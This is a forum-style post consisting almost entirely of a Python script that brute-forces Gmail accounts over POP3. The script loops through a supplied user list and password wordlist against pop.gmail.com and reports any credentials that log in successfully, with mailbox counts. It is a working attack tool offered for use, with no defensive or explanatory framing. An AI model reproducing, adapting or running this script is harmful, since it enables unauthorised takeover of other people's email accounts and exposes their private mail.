[Pyton] Gmail Brute Force

Code:

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#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
    print "\n\t  d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
    print "\t  --------------------------------------------------\n"
    print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
    sys.exit(1)
   
server = "pop.gmail.com"
success = []

try:
      users = open(sys.argv[1], "r").readlines()
except(IOError):
      print "[-] Error: Check your userlist path\n"
      sys.exit(1)
 
try:
      words = open(sys.argv[2], "r").readlines()
except(IOError):
      print "[-] Error: Check your wordlist path\n"
      sys.exit(1)
   
try:
    pop = poplib.POP3_SSL(server, 995)
    welcome = pop.getwelcome()
    pop.quit()
except (poplib.error_proto):
    welcome = "No Response"
    pass

print "\n\t  d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t  --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])   
    else:
        print "\n[-] Reloading Wordlist - Changing User\n"
        reloader()
        value = random.sample(words,  1)
        users.remove(users[0])
       
    lock.release()
    if len(users) ==1:
        return value[0][:-1], users[0]
    else:
        return value[0][:-1], users[0][:-1]
       
class Worker(threading.Thread):
   
    def run(self):
        value, user = getword()
       
        try:
            print "-"*30
            print "[+] User:",user,"Password:",value
            pop = poplib.POP3_SSL(server, 995)
            pop.user(user)
            pop.pass_(value)
            print "\t\t\n\nLogin successful:",user, value
            print "\t\tMail:",pop.stat()[0],"emails"
            print "\t\tSize:",pop.stat()[1],"bytes\n\n"
            success.append(user)
            success.append(value)
            success.append(pop.stat()[0])
            success.append(pop.stat()[1])
            pop.quit()
        except (poplib.error_proto), msg:
            #print "An error occurred:", msg
            pass
 
for i in range(len(words)*len(users)):
    work = Worker()
    work.start()
    time.sleep(1)
if len(success) >=1:
    print "\n\n[+] Login successful:",success[0], success[1]
    print "\t[+] Mail:",success[2],"emails"
    print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

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